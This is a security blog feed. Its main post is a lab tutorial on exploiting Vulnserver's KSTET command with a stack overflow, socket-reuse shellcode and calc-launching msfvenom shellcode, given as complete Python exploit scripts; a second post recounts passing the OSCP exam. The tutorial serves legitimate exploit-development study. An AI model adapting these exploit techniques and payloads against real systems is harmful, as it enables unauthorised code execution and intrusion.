Normal view

There are new articles available, click to refresh the page.
Before yesterdaySevro Security

Vulnserver KSTET Socket Re-use

By: Joshua
20 November 2019 at 23:21

Sevro Security
Vulnserver KSTET Socket Re-use

In a previous post, Vulnserver KSTET Egg Hunter, we looked at how we can use an egghunter to obtain code execution within a larger chunk of memory. In this post, we will look at the KSTET Socket re-use WS2_32.dll recv() function and how we can re-use this to pull in a larger chunk of shellcode within a buffer we allocate ourselves. In regards to Vulnserver.exe, the recv() function is used anytime we send data to the socket. The data is then parsed by the server and decides what to do with it.

Prerequisites:

  • Vulnserver.exe
  • Immunity or Ollydbg – I will be using Immunity
  • Mona.py
  • Windows VM – I am using a Windows XP Professional host

Resources:


I’m going to skip some of the set-up assuming you understand how to attach a debugger to a process or start a process within a debugger. If you don’t, go ahead and read some of my other buffer overflow tutorials.

The Crash

Part of why I decided to build this tutorial us because I am currently studying for the OSCE. As such, we are going to use the Spike Fuzzer (Native in Kali) to fuzz the VulnServer.exe application and just like the egg hunter tutorial, we will be fuzzing the KSTET parameter. Here is our Spike Fuzzing template (kstet.spk):

s_readline();
s_string("KSTET ");
s_string_variable("0");
s_string("\r\n");
s_readline();

The VulnServer listens on port 9999 and is residing at an IP Address: 192.168.5.130. So, our Spike Fuzzer syntax will be:

generic_send_tcp 192.168.5.130 9999 kstet.spk 0 0

During any fuzzing, it’s a good idea to keep a WireShark instance running in the background so you can manually analyze the packets if a crash occurs.

Fuzzing with the Spike Fuzzer

After less than 2 seconds, we have a visible crash that looks to have overwritten EIP and EBP.

Overflow success

Looking at Wireshark we see that the last valid connection contained the following data:

Wireshark analysis of spike fuzzer

Buffer Overflow Standard Steps

This is the repetitive part of any Buffer Overflow:

  1. Determine the offset in which we overwrote EIP.
  2. Find a JMP ESP Instruction we can use.
  3. Overwrite EIP with the JMP ESP address and control the execution flow.

Determine Offset:

We create a standard pattern using the Metasploit Frameworks pattern_create.rb. This generates a unique string n bytes long that is used to determine the actual offset of the overwrite. The syntax for the ruby script is:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 500
Create pattern to determine EIP offset

Build a Python proof of concept to crash the application similar to the Spike Fuzzer:

import socket
import struct
import time

IP = "192.168.5.130"
PORT = 9999

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
print(s.recv(2096))

pattern = ("""Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq""")

buf = ""
buf += "KSTET /.:/"
buf += pattern
buf += "\r\n"

s.send(buf)

We send the payload, overwrite EIP with the pattern, and now determine the proper offset

Observed pattern overflowing EIP
Determine EIP offset in base 10

After we have the correct offset, we can build a proof of concept that shows two things:

  1. We have control of EIP and therefore have control of code execution
  2. How much space after the overwrite we have to play with (i.e. store our shellcode)
import socket
import struct
import time

IP = "192.168.5.130"
PORT = 9999
EIP_OFFSET = 66

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
print(s.recv(2096))

buf = ""
buf += "KSTET /.:/"
buf += "A" * 66
buf += "B" * 4
buf += "C" * 500
buf += "\r\n"

s.send(buf)
Analysis of the Stack after the overflow

We control EIP and we only have 0x10 Bytes of room for shellcode. That’s not enough for anything. However, we have 0x44 Bytes above ESP that we can use to build something useful. In the previous KSTET tutorial, we used this space for an egg-hunter. Now, we are going to build our own shellcode to re-use the WS2_32.recv() function.

Find JMP ESP:

I personally like to use Mona.py with Immunity Debugger to help determine a valid JMP ESP. There are tons of ways to find a proper JMP ESP address, this one just fits my needs.

Finding JMP ESP

Verify we have EIP Control:

Set a breakpoint at the JMP ESP address you selected. Amend you python script to include the JMP ESP address and the EIP overwrite and verify you now hit the JMP ESP address and get back to your code (in this case, the C’s).

import socket
import struct
import time

IP = "192.168.5.130"
PORT = 9999
EIP_OFFSET = 66
JMP_ESP = struct.pack("I", 0x625011C7)


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
print(s.recv(2096))

buf = ""
buf += "KSTET /.:/"
buf += "A" * 66
buf += JMP_ESP
buf += "C" * 500
buf += "\r\n"

s.send(buf)

A Short Jump

In order to get more room to build our custom shellcode, we need to make a short jump to the top of the A’s. In the start of this tutorial, I posted a link describing the JMP SHORT instructions. Basically, these are two (2) byte instructions that will help us move around in memory without taking up a shit ton of space.

In this case, we want to get to address 0x00B8F9C6. An easy way to build the shellcode is write the instructions directly within Immunity by hitting the space bar and typing in the assembly.

Building a two byte jump instruction

As you can see, from the blue text on the left of the Assembly instructions, our opcode is going to be \xEB\xB8. We can simply add this into our python script and verify we have in-fact jumped backwards to our required address.

import socket
import struct
import time

IP = "192.168.5.130"
PORT = 9999
EIP_OFFSET = 66
JMP_ESP = struct.pack("I", 0x625011C7)


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
print(s.recv(2096))

buf = ""
buf += "KSTET /.:/"
buf += "A" * 66
buf += JMP_ESP
buf += "\xEB\xB8"               # JMP SHORT
buf += "C" * 500
buf += "\r\n"

s.send(buf)

WS2_32.recv() Review

Before we dig into writing custom shellcode, let’s analyze what is happening locally when recv() is called in the non-altered code.Let’s also define some terms and parameters that are necessary to fully understand before we understand the exploit.

The recv() function is part of the winsock.h header and takes a total of 4 parameters:

  1. SOCKET – This is a Socket Descriptor and defines a valid socket. It’s dynamic and changes each time the binary/exe is run.
  2. *buf – A pointer in memory where we want to start storing what is received from the socket connection.
  3. len – The size of the buffer in Bytes
  4. flags – Will always be set to 0 in our case. We essentially do not use this but need it to complete the function call.
MSDN WS2_32.recv Function Call

Three (3) of the four (4) parameters can be generated by us, the attacker. We easily make up our own values, pop them onto the stack and have a good ol’ day. But, the SOCKET descriptor is the odd man/woman out. This is set dynamically, by the program. It is, however, set predictably and as such we can analyze a live recv() call in action and find where it’s obtaining the SOCKET descriptor from. Once we know where it comes from, we can dynamically pull that value in with our custom shellcode to make our recv() call as legitimate as the original.

Analyze a Legitimate recv():

In your debugger, start a fresh run of vulnserver.exe and put it into a running state. To make sure the debugger (olly or immunity) has analyzed the code properly, hit CTRL+A. This will tell the debugger to analyze the assembly and point out any objective function calls. With this analyzed, look for the recv() function call.

Where recv() is called

From left to right, the first picture is where the recv() function is called within the program. The second picture is where we land when the CALL is executed. The address in the second image 0x0040252C is very important as that is that address we will CALL at the very end of our custom shellcode.

Next, let’s place a breakpoint at the CALL shown in the first image (leftmost image), and execute our overflow python script so we can observe the legitimate recv() function call.

When the python script is executed, we hit our breakpoint and can view the recv() parameters cleanly located on the stack for us.

Analysis of a valid WS2_32.recv function call
  • SOCKET DESCRIPTOR = 0x00000080
  • BUFFER START ADDR = 0x003E4AD0
  • BUFFER LENGTH = 0x00001000 (4096 Bytes base 10)
  • FLAGS = 0x00000000

Again, at this point, we only care where that Socket Descriptor came from. If we set our breakpoint a few instructions above the CALL <JMP.&WS2_32.recv> we find that MOV EAX, DWORD PTR SS:[EBP-420] is responsible for pulling in the Socket Descriptor. Cool, let’s do some basic math:

EBP = 00B8FFB4 and if we calculate: (00B8FFB4 420) = 00B8FB94‬.

If we navigate to this address in the debugger, we should find our Socket Descriptor and, we do.

Confirming we have found the Socket Descriptor

Custom Shellcode

Now that we have the location of the Socket Descriptor, we can start to build our custom shellcode to setup the stack for our evil recv() function call. Since the Stack grow from bottom up, we need to build our stack with that in mind starting by adding the FLAG parameter first and the Socket Descriptor last.

The easiest way to build your custom shellcode is simply to do it in the Debugger. Set a breakpoint at your JMP ESP, get to you JMP instruction and start building your shellcode. Below is an example on how I setup my Stack:

recv = ""
recv += "\x83\xEC\x50"                  # SUB ESP, 50
recv += "\x33\xD2"                      # XOR EDX, EDX
recv += "\x52"                          # PUSH EDX (FLAGS = 0)
recv += "\x83\xC2\x04"                  # ADD EDX, 0x4 
recv += "\xC1\xE2\x08"                  # SHL EDX, 8
recv += "\x52"                          # PUSH EDX (BUFFER SIZE = 0x400)
recv += "\x33\xD2"                      # XOR EDX, EDX 
recv += "\xBA\x90\xF8\xF9\xB8"          # MOV EDX, 0xB8F9FB90
recv += "\xC1\xEA\x08"                  # SHR EDX, 8 
recv += "\x52"                          # PUSH EDX (BUFFER LOCATION = 0x00B8F9FB)
recv += "\xB9\x90\x94\xFB\xB8"          # MOV ECX, 0xB8FB9490
recv += "\xC1\xE9\x08"                  # SHR ECX, 8 
recv += "\xFF\x31"                      # PUSH DWORD PTR DS:[ECX] (SOCKET DESCRIPTOR LOADED)
recv += "\xBA\x90\x2C\x25\x40"          # MOV EDX, 0X0040252C
recv += "\xC1\xEA\x08"                  # SHR EDX, 8 (Location of RECV())
recv += "\xFF\xD2"                      # CALL EDX

Let’s go through this step by step:

  • Lines 2-3: I found that the stack was not aligned after the second payload was sent. This aligns the stack for our second payload
  • Lines 4-5: We XoR the EDX Register by itself to make it 0 (0x00000000) and PUSH it onto the stack. This will serve as our FLAG parameter.
  • Lines 6-8: We cannot have a null byte (0x00) in our shellcode so, we add 0x4 to EDX and shift it left by 1 Byte (8-bits) to give us 0x400 This serves as our Buffer Size.
  • Lines 9-12: Zero out EDX with XoR, MOV 0xB8F9FB90 into EDX, shift right to get rid of 0x90 and get our 0x00 for a final value of 0x00B8F9FB. This serves as our Buffer Start Address.
  • Lines 13-15: Load Socket Descriptor addr. into ECX, PUSH the value of the data located at ECX (denoted as [ECX]not ECX, note the difference). This serves as the Socket Descriptor.
  • Lines 16-18: Load the address of WS2_32.recv, that we found when we analyzed the legitimate recv(), into EDX and CALL EDX to complete the function call.
import socket
import struct
import time

IP = "192.168.5.130"
PORT = 9999
EIP_OFFSET = 66
JMP_ESP = struct.pack("I", 0x625011C7)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
print(s.recv(2096))

# WS2_32.recv() Stack Setup
recv = ""
recv += "\x83\xEC\x50"                  # SUB ESP, 50
recv += "\x33\xD2"                      # XOR EDX, EDX
recv += "\x52"                          # PUSH EDX (FLAGS = 0)
recv += "\x83\xC2\x04"                  # ADD EDX, 0x4 
recv += "\xC1\xE2\x08"                  # SHL EDX, 8
recv += "\x52"                          # PUSH EDX (BUFFER SIZE = 0x400)
recv += "\x33\xD2"                      # XOR EDX, EDX 
recv += "\xBA\x90\xF8\xF9\xB8"          # MOV EDX, 0xB8F9FB90
recv += "\xC1\xEA\x08"                  # SHR EDX, 8 
recv += "\x52"                          # PUSH EDX (BUFFER LOCATION = 0x00B8F9FB)
recv += "\xB9\x90\x94\xFB\xB8"          # MOV ECX, 0xB8FB9490
recv += "\xC1\xE9\x08"                  # SHR ECX, 8 
recv += "\xFF\x31"                      # PUSH DWORD PTR DS:[ECX] (SOCKET DESCRIPTOR LOADED)
recv += "\xBA\x90\x2C\x25\x40"          # MOV EDX, 0X0040252C
recv += "\xC1\xEA\x08"                  # SHR EDX, 8 (Location of RECV())
recv += "\xFF\xD2"                      # CALL EDX

buf = ""
buf += "KSTET /.:/"
buf += "\x90" * 2                       # NOPS
buf += recv                             # WS2_32.recv() function call
buf += "\x90" * (66 - (len(recv) + 2))  # NOPS 
buf += JMP_ESP                          # JMP ESP
buf += "\xEB\xB8"                       # JMP SHORT
buf += "C" * 500                        # FILLER
buf += "\r\n"

s.send(buf)

Exploitation

All we have to do is generate a second payload and send it right after our overflow payload. Since we have tricked vulnserver into running the recv() function, it will take our second send data and store it at the buffer address we specified. Let’s test this out with a payload of 0xCC (Int 3) so that the program will halt when it hits our shellcode.

Secondary payload made it to our memory location

Let’s add some basic shellcode to pop calc.exe and verify that our exploit works.

import socket
import struct
import time

IP = "192.168.5.130"
PORT = 9999
EIP_OFFSET = 66
JMP_ESP = struct.pack("I", 0x625011C7)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
print(s.recv(2096))

# WS2_32.recv() Stack Setup
recv = ""
recv += "\x83\xEC\x50"                  # SUB ESP, 50
recv += "\x33\xD2"                      # XOR EDX, EDX
recv += "\x52"                          # PUSH EDX (FLAGS = 0)
recv += "\x83\xC2\x04"                  # ADD EDX, 0x4 
recv += "\xC1\xE2\x08"                  # SHL EDX, 8
recv += "\x52"                          # PUSH EDX (BUFFER SIZE = 0x400)
recv += "\x33\xD2"                      # XOR EDX, EDX 
recv += "\xBA\x90\xF8\xF9\xB8"          # MOV EDX, 0xB8F9FB90
recv += "\xC1\xEA\x08"                  # SHR EDX, 8 
recv += "\x52"                          # PUSH EDX (BUFFER LOCATION = 0x00B8F9FB)
recv += "\xB9\x90\x94\xFB\xB8"          # MOV ECX, 0xB8FB9490
recv += "\xC1\xE9\x08"                  # SHR ECX, 8 
recv += "\xFF\x31"                      # PUSH DWORD PTR DS:[ECX] (SOCKET DESCRIPTOR LOADED)
recv += "\xBA\x90\x2C\x25\x40"          # MOV EDX, 0X0040252C
recv += "\xC1\xEA\x08"                  # SHR EDX, 8 (Location of RECV())
recv += "\xFF\xD2"                      # CALL EDX

buf = ""
buf += "KSTET /.:/"
buf += "\x90" * 2                       # NOPS
buf += recv                             # WS2_32.recv() function call
buf += "\x90" * (66 - (len(recv) + 2))  # NOPS 
buf += JMP_ESP                          # JMP ESP
buf += "\xEB\xB8"                       # JMP SHORT
buf += "C" * 500                        # FILLER
buf += "\r\n"

s.send(buf)                             # Stage 1 Payload Send

# msfvenom -p windows/exec CMD=calc.exe -b '\x00' --var-name calc -f python
calc =  b""
calc += b"\xdb\xdc\xd9\x74\x24\xf4\x5f\xb8\x43\x2c\x57\x7b\x2b"
calc += b"\xc9\xb1\x31\x31\x47\x18\x83\xc7\x04\x03\x47\x57\xce"
calc += b"\xa2\x87\xbf\x8c\x4d\x78\x3f\xf1\xc4\x9d\x0e\x31\xb2"
calc += b"\xd6\x20\x81\xb0\xbb\xcc\x6a\x94\x2f\x47\x1e\x31\x5f"
calc += b"\xe0\x95\x67\x6e\xf1\x86\x54\xf1\x71\xd5\x88\xd1\x48"
calc += b"\x16\xdd\x10\x8d\x4b\x2c\x40\x46\x07\x83\x75\xe3\x5d"
calc += b"\x18\xfd\xbf\x70\x18\xe2\x77\x72\x09\xb5\x0c\x2d\x89"
calc += b"\x37\xc1\x45\x80\x2f\x06\x63\x5a\xdb\xfc\x1f\x5d\x0d"
calc += b"\xcd\xe0\xf2\x70\xe2\x12\x0a\xb4\xc4\xcc\x79\xcc\x37"
calc += b"\x70\x7a\x0b\x4a\xae\x0f\x88\xec\x25\xb7\x74\x0d\xe9"
calc += b"\x2e\xfe\x01\x46\x24\x58\x05\x59\xe9\xd2\x31\xd2\x0c"
calc += b"\x35\xb0\xa0\x2a\x91\x99\x73\x52\x80\x47\xd5\x6b\xd2"
calc += b"\x28\x8a\xc9\x98\xc4\xdf\x63\xc3\x82\x1e\xf1\x79\xe0"
calc += b"\x21\x09\x82\x54\x4a\x38\x09\x3b\x0d\xc5\xd8\x78\xe1"
calc += b"\x8f\x41\x28\x6a\x56\x10\x69\xf7\x69\xce\xad\x0e\xea"
calc += b"\xfb\x4d\xf5\xf2\x89\x48\xb1\xb4\x62\x20\xaa\x50\x85"
calc += b"\x97\xcb\x70\xe6\x76\x58\x18\xc7\x1d\xd8\xbb\x17"


payload = ""
payload += calc
payload += "\r\n"

s.send(payload)                           # Stage 2 Payload Send
Shellcode injection to pop calc.exe after exploit

Vulnserver KSTET Socket Re-use
Joshua

OSCP: Passing

By: Joshua
28 October 2018 at 01:28

Sevro Security
OSCP: Passing

I’m humbled to finally be able to say that I am an OSCP! I was able to get 80/100 points on my second exam attempt last Friday and received the pass email on the following Monday.

I wanted to take some time and post about my experience and the way I personally managed the exam itself. There are already a significant amount of blog posts from extremely talented individuals talking about their methods to their success and although I will touch on that, I really wanted to focus on exam management. Essentially, how I set up my pre-exam workspace in order to make my flow and reporting easier. This was critical to passing the second time around. Having a single one-stop place to view the systems, their enumeration, and their exploits were incredibly helpful in pivoting and exam reporting.

[hr]

OSCP PWK Course and Exam Review:

Incredible. Purely incredible! Over the last year and a half, I have been teaching myself this skillset but, there’s a point you reach where a more formal approach to building this skillset is needed. Well, at least I needed that. OSCP gave me that and then some. Long story short, if you are looking for something extremely challenging that is practical, no bullshit, with a straight up prove yourself then this is the path you want to go down. Let’s talk about the Exam process a bit more during my second attempt:

[hr_invisible]

Before the Exam:

My first Exam attempt was a 10:00 and I burned myself too fast. My second attempt I started my exam at 16:00. This was way better than an early morning start, for me at least. But, a few hours before my second exam I set up everything ahead of time and I suggest everyone do the same.

  • Start your Kali box and verify network connectivity and disk space on the VM.
  • Create a full snapshot of the VM a few hours before the exam.
  • Create the directory you will be working from for the whole exam:
    • /opt/OSCP/EXAM_2 –> this was mine
  • Start necessary services you may need and verify logins/auth works:
    • FTP, TFTP, SSH, etc.
  • Open Firefox, Burpsuite, Terminal w/ TMUX, and Sparta.
  • Open up CherryTree and generate your Box Flow, I did it on a per-node basis like so:
    • (25) <IP_ADDR>
    • (25) <IP_ADDR>
    • (20) <IP_ADDR>
    • (20) <IP_ADDR>
    • (10) <IP_ADDR>
  • In Terminal, have a TMUX window for NMAP Scans and generate your NMAP syntax in different frames on the same window.

This is how I organized the whole exam from start to finish. Anytime I compromised a host, I changed the color of the host from black to green in Cherrytree, saved my screenshots for everything, and made sure I have the proofs.txt/local.txt and continued on.

[hr_invisible]

The Exam:

When 16:00 rolled around, I had my headphones on and started working directly on a 25 point box and within 30 min, I had compromised one (1) 25 pointer. A few hours later I had knocked out the 10 pointer and a 20 pointer for a total of 55 points.  I had three (3) boxes compromised and decided to take 15 min and get some food. When I came back I started working on the second 25 point host and by 23:00 local, I had it buttoned up for a total of 80 points. I backed up all my progress, made sure I had ample proof and screenshots and went to bed. I got up around 08:00 and told myself I would work on the last host (20 points) until 12:00 and if I didn’t get it, I would start on my report. I did this because I had to fly out early on Sunday morning for some work stuff and would not have time to compile the report on Sunday. Well, I could not figure out the last box so I started on the report and worked on it from 12:00 on Saturday afternoon to 01:00 on Sunday morning. Monday afternoon, I got word from Offensive Security that I had passed and holy shit I am still PUMPED about it!

Final Thoughts:

OSCP was an amazing experience that the folks at Offensive Security put a shit ton of effort into (maybe passion is the more accurate term). There’s nothing else like it out there! Without a doubt, I could not recommend the course and certification path more. If you’re still reading this and have not jumped into the PWK course let me just say this, there will never be a “good” time to start and you are not going to be 100% ready. We all work, a lot of us have kids and families, but this is worth the work!

[hr]

OSCE, here I come.

OSCP: Passing
Joshua

❌
❌